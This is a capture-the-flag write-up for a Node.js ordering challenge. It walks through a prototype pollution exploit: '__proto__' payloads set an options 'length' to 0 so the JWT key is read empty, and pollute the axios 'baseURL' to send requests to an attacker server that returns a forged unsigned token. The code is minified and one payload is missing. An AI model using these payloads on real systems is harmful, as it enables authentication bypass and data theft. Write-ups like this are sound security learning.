app.post('/create_order',async(req,res)=>{console.log(req.body);console.log(JSON.stringify(req.body));constchild=child_process.spawn('node',['./make_order.js'],{timeout:3000});child.stdin.write(JSON.stringify(req.body));letscriptOutput='';child.stdout.setEncoding('utf8');child.stdout.on('data',function(data){data=data.toString();scriptOutput+=data;});child.once('exit',function(code){try{console.log("parsing: scritOutput")console.log(scriptOutput)created_order=JSON.parse(scriptOutput)categories.map((category)=>{if(created_order[category]['BigMac']>0){//Wow, you bougth BigMac!
created_order[category]['flag']=fs.readFileSync('./flag.txt').toString()}});res.json({created_order})}catch(e){console.log(e)res.json({error:"error"})}});})
So to get the flag we need to set BigMac property of some category to a value greater than 0 (line 23 above).
But there is one problem - the backend server sets BigMac property of the category to 0 if it is set the property exists (line 17 below).
app.post('/create_order',(req,res)=>{constbad_categories=Object.keys(req.body).filter((key)=>categories.indexOf(key)==-1)if(bad_categories.length>0){res.json({success:false,message:'bad format1'})return}categories.map((category)=>{if(Object.keys(req.body).indexOf(category)==-1){res.json({success:false,message:'bad format2'})return}if(Object.keys(req.body[category]).indexOf('BigMac')!=-1){//BigMac is too hard!!! We can't make it.
req.body[category]['BigMac']=0;}});result={success:true,jwt:jwt.sign(req.body,jwt_key,{algorithm:'HS256'})}res.json(result)})
Finding prototype pollution sink
We could not find any vulnerability in either front_server/index.js or back_server/index.js, so we started inspecting front_server/make_order.js.
constopen=require('node:fs/promises').open;constjwt=require('node-jsonwebtoken');constaxios=require('axios');varinstance=axios.create({baseURL:'http://back_server:3000',timeout:1000});constcategories=['meat','chicken','potato']asyncfunctionmain(){process.stdin.on('data',async(data)=>{//create order in correct format
varorder={};categories.map((category)=>{order[category]={}});data=JSON.parse(data);Object.keys(data).map((category)=>{Object.keys(data[category]).map((item)=>{order[category][item]=data[category][item]})});constheaders={'Content-Type':'application/json'}letresponse=awaitinstance.post('/create_order',JSON.stringify(order),{headers});if(!response.data.success){console.log({"error":"error"})process.exit()}lettoken=response.data.jwt;// let's check jwt
// effective key reading
letfd=awaitopen('./jwtkey.txt');letx=awaitfd.read({buffer:Buffer.alloc(1024)});letkey=x.buffer.toString().slice(0,x.bytesRead);letcreated_order=jwt.verify(token,key);deletecreated_order['iat'];console.log(JSON.stringify(created_order,null,null));process.exit()})}main();
On line 21, we can see obvious prototype pollution which can be achieved with the following JSON object:
1
2
3
4
5
{"__proto__":{"polluted":1}}
There is no proper gadget in the make_order.js itself (only response.data.success and response.data.jwt which were not of much use), which meant we needed to go deeper into used dependencies.
So the plan was to redirect axios client to our server somehow, provide a jwt signed by us and make the dep node-jsonwebtoken verify it as valid.
Node.js docs on fsPromises.open shows that it opens a <FileHandle> and make_order.js uses to read ./jwtkey.txt file (line 36) which has a very interesting option for us - length(see here). If we can pollute that property of the options we could make it read 0 bytes.
1
2
3
4
5
{"__proto__":{"length":0}}
Sending a request to https://delipo.ctfz.one/create_order with the body above results in an error, which most probably indicates that the server failed to verify with jwt key, as it was empty when passed to jwt.verify on line 40.
Now we need to make axios to send the request to a server controlled by us and respond with our jwt token. baseURL set in line 6 seems to be the best fit, but it is already passed as an option. Disregarding that fact, we tried to pollute baseURL with the following JSON object:
But we wanted to know what was the reason for this behavior, and digging into axios codebase we found mergeConfig function which was responsible for that. In lib/core/mergeConfig.js on line 93 (here) we can see that it calls a function using mergeMap map (line 63) for the provided config properties. For baseURL it is defaultToConfig2 (defined on line 46) which itself calls getMergedValue (defined on line 18) which effectively merges our polluted baseURL into the passed config.
Exploiting
As we previously set the key as and empty string with a polluted length:0 property, we can now create a JWT with no signature (e.g. none algorithm). So our server should respond with something like: